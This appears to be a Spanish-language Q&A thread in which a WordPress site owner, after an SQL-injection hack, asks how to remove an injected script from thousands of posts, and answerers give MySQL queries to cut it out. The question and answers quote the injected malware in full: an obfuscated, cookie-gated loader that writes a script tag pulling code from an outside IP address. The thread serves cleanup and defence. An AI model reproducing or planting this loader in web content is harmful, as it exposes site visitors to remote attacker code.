Tenía un complemento que hacía que mi sitio de Wordpress fuera vulnerable al ataque de inyección SQL. Desde entonces he bloqueado mi sitio y eliminado todos los archivos de Wordpress y luego reinstalé Wordpress. El complemento también se ha eliminado desde entonces. Desafortunadamente, ahora tengo todas las publicaciones de 2503 con el siguiente script de ejemplo instalado:

<!--codes_iframe-->
<script type="text/javascript"> function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('<script src="'+src+'"><\/script>')} </script>
<!--/codes_iframe-->

El problema es que cuando busco el script en particular, la cadena base64 es diferente para cada publicación. Así que no puedo simplemente buscar y reemplazar / eliminar.

Pensé que, dado que el comienzo y el final del script están realmente comentados, ¿no podría una consulta de base de datos eliminar de alguna manera el código entre ellos y luego una segunda consulta eliminar los comentarios? Si es así, no puedo encontrar esto en ningún lado. Parece fácil de hacer, pero aparentemente (según Google) es bastante complicado.

Esperemos que alguien tenga un remedio procesal. Mientras tanto, haré esta eliminación manualmente con la esperanza de que alguien pueda ahorrarme algo de tiempo.

5
Alex Theberge 10 sep. 2018 a las 02:24

3 respuestas

La mejor respuesta

MySQL 8.0 presenta una nueva función REGEXP_REPLACE () pero si está utilizando una versión anterior de MySQL, podría usar LOCATE () para encontrar la posición inicial y final en el texto, y luego cortar el contenido entre esas dos posiciones.

Probé esto: creé una tabla wp_mytable y puse el texto ofensivo en ella, con un poco de texto antes y después.

mysql> select * from wp_mytable\G
*************************** 1. row ***************************
 id: 1
txt: ABC 123
<!--codes_iframe-->
<script type="text/javascript"> function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([.$?*|{}()[]\/+^])/g,"\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('<script src="'+src+'"></script>')} </script>
<!--/codes_iframe-->
And that's all, folks.
1 row in set (0.00 sec)

LOCATE () puede encontrar las etiquetas de apertura y cierre:

mysql> SELECT LOCATE('<!--codes_iframe-->', txt) as start from wp_mytable;
+-------+
| start |
+-------+
|     9 |
+-------+

mysql> SELECT LOCATE('<!--/codes_iframe-->', txt) as end from wp_mytable;
+------+
| end  |
+------+
|  830 |
+------+

Ahora, si reemplazamos txt con el contenido antes de la posición 9, y después de la posición 830 + LENGTH('<!--/codes_iframe-->'), eso eliminará el contenido problemático.

Pruébelo primero con SELECT:

mysql> SELECT 
  SUBSTRING(txt, 1, LOCATE('<!--codes_iframe-->', txt)-1) AS pre_txt,
  SUBSTRING(txt, LOCATE('<!--/codes_iframe-->', txt)+LENGTH('<!--/codes_iframe-->')) AS post_txt 
  FROM wp_mytable\G
*************************** 1. row ***************************
 pre_txt: ABC 123

post_txt: 
And that's all, folks.

Cuando estamos seguros de que esa es la subcadena correcta, concatene las piezas y úselas en una ACTUALIZACIÓN:

mysql> UPDATE wp_mytable SET txt = CONCAT(
  SUBSTRING(txt, 1, LOCATE('<!--codes_iframe-->', txt)-1),
  SUBSTRING(txt, LOCATE('<!--/codes_iframe-->', txt)+LENGTH('<!--/codes_iframe-->')))
  WHERE LOCATE('<!--codes_iframe-->', txt) > 0;

Como siempre, haga una copia de seguridad de sus datos antes de intentar este tipo de cirugía.

También se me ocurre que debe buscar los datos nuevamente después de haber realizado este reemplazo, en caso de que el script ofensivo se haya insertado dos veces dentro de un texto dado. El método de reemplazo solo elimina la primera aparición, pero usted lo desea. No querrás eliminar el texto legítimo entre dos ocurrencias del script.

Por cierto, lamento escuchar que te piratearon con un ataque de inyección SQL. La gente apesta a veces.

6
Bill Karwin 12 sep. 2018 a las 01:53

Solo quería agregar a este hilo ya que lo encontré útil pero con un poco de diferencia con respecto a la respuesta publicada.

Lo principal es que el ataque en mi base de datos de WordPress se agregó al final de muchos, muchos, muchos wp_posts. Por lo tanto, no necesitaba volver a conectar dos cuerdas, solo recortar desde el final.

No estoy seguro de que esta sea la mejor versión, pero esto es lo que funcionó para mí (después de probarlo con SELECT) y borró casi 3,000 publicaciones del código ofensivo al hacerlo:

UPDATE wp_posts SET post_content =
 SUBSTRING(post_content, 1, LOCATE('<!--codes_iframe-->', post_content)-1)
 WHERE LOCATE('<!--codes_iframe-->', post_content) >0;

¡Gracias por la ayuda para mantener mi sitio finalmente despejado!

3
Justin Langlois 3 jun. 2019 a las 19:59

Puede intentar usar la función replace esto es más confiable:

UPDATE wp_posts SET post_content = replace(post_content, '<!--codes_iframe-->
<script type="text/javascript"> function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('<script src="'+src+'"><\/script>')} </script>
<!--/codes_iframe-->',
'');
0
Darlan Dieterich 29 ago. 2019 a las 23:24